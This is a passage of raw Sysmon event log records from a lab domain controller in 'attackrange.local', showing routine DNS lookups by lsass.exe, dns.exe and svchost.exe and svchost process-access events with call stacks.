22542200x80000000000000002491Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.406{A5F018FF-28BD-5F80-0B00-000000007F01}868_kerberos._tcp.dc._msdcs.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002490Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.403{A5F018FF-28BD-5F80-0B00-000000007F01}86856b2badd-17fa-404a-9152-594780d23fa4._msdcs.attackrange.local.0type: 5 win-dc-1796611.attackrange.local;C:\Windows\System32\lsass.exe 22542200x80000000000000002489Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.399{A5F018FF-28BD-5F80-0B00-000000007F01}868gc._msdcs.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002488Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.397{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.0d0611fa-4991-4737-8571-b68010e7899d.domains._msdcs.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002487Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.392{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002486Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.390{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.gc._msdcs.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002485Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.387{A5F018FF-28BD-5F80-0B00-000000007F01}868_msdcs.attackrange.local.0type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002484Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.387{A5F018FF-28BD-5F80-0B00-000000007F01}868_msdcs.attackrange.local.0type: 2 win-dc-1796611.attackrange.local;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002483Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.386{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.pdc._msdcs.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002482Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.385{A5F018FF-28BD-5F80-0B00-000000007F01}868_kerberos._tcp.dc._msdcs.attackrange.local.0type: 33 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002481Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.385{A5F018FF-28BF-5F80-1300-000000007F01}1264eu-central-1.compute.internal9501-C:\Windows\System32\svchost.exe 22542200x80000000000000002480Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.379{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.Default-First-Site-Name._sites.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002479Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.376{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.attackrange.local.9501type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002478Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.375{A5F018FF-28BF-5F80-0F00-000000007F01}1128win10.ipv6.microsoft.com.0type: 5 onpremwindows.ipv6.microsoft.com.akadns.net;type: 5 trdovmssukwest.ipv6.microsoft.com.akadns.net;40.81.120.44;C:\Windows\System32\svchost.exe 22542200x80000000000000002477Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.374{A5F018FF-28BD-5F80-0B00-000000007F01}868attackrange.local.0type: 2 win-dc-1796611.attackrange.local;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002476Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.374{A5F018FF-28CF-5F80-2C00-000000007F01}2744attackrange.local0type: 6 ;10.0.1.14;C:\Windows\System32\dns.exe 22542200x80000000000000002475Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.374{A5F018FF-28CF-5F80-2C00-000000007F01}2744attackrange.local0type: 2 win-dc-1796611.attackrange.local;10.0.1.14;C:\Windows\System32\dns.exe 22542200x80000000000000002474Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.374{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.attackrange.local.0type: 33 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002473Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.373{A5F018FF-28BD-5F80-0B00-000000007F01}868attackrange.local.0type: 6 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002472Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.372{A5F018FF-28CF-5F80-2C00-000000007F01}2744win-dc-1796611.attackrange.local9501type: 6 ;10.0.1.14;C:\Windows\System32\dns.exe 22542200x80000000000000002471Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.372{A5F018FF-28BD-5F80-0B00-000000007F01}868_kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.0type: 33 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002470Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.371{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.Default-First-Site-Name._sites.attackrange.local.0type: 33 ;10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002469Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.360{A5F018FF-28BF-5F80-1300-000000007F01}1264eu-central-1.compute.internal9502-C:\Windows\System32\svchost.exe 22542200x80000000000000002468Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:58.907{A5F018FF-28CF-5F80-2C00-000000007F01}2744win-dc-1796611.attackrange.local0fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Windows\System32\dns.exe 22542200x80000000000000002467Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:58.907{A5F018FF-28BD-5F80-0B00-000000007F01}868WIN-DC-17966110fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Windows\System32\lsass.exe 22542200x80000000000000002513Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.761{A5F018FF-28BF-5F80-1100-000000007F01}1200wpad9003-C:\Windows\System32\svchost.exe 22542200x80000000000000002512Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.640{A5F018FF-28BF-5F80-0F00-000000007F01}1128isatap.eu-central-1.compute.internal9003-C:\Windows\System32\svchost.exe 22542200x80000000000000002511Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.638{A5F018FF-28BF-5F80-1300-000000007F01}1264eu-central-1.compute.internal1460-C:\Windows\System32\svchost.exe 22542200x80000000000000002510Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.638{A5F018FF-28BF-5F80-1300-000000007F01}1264txrpitkrwnunt1460-C:\Windows\System32\svchost.exe 10341000x80000000000000002559Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1700-000000007F01}1856C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+6a63|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002558Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1400-000000007F01}1296C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+7f5d|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002557Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002556Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002555Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1000-000000007F01}1136C:\Windows\System32\svchost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\lsm.dll+b4ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x80000000000000002554Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BF-5F80-0F00-000000007F01}11281208C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|c:\windows\system32\themeservice.dll+4689|c:\windows\system32\themeservice.dll+3fdd|c:\windows\system32\themeservice.dll+3c53|c:\windows\system32\themeservice.dll+2675|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+45079|C:\Windows\SYSTEM32\ntdll.dll+29bfa|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002553Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BF-5F80-0F00-000000007F01}11281628C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002552Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002551Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BF-5F80-0F00-000000007F01}11281208C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x147aC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\themeservice.dll+3de3|c:\windows\system32\themeservice.dll+26c0|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+45079|C:\Windows\SYSTEM32\ntdll.dll+29bfa|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002550Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BF-5F80-0F00-000000007F01}11281628C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002549Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002548Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002547Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002546Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002545Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002544Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002543Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002542Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.964{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+7f5d|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002541Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:02.949{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+163fd|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+d69b2|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002540Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 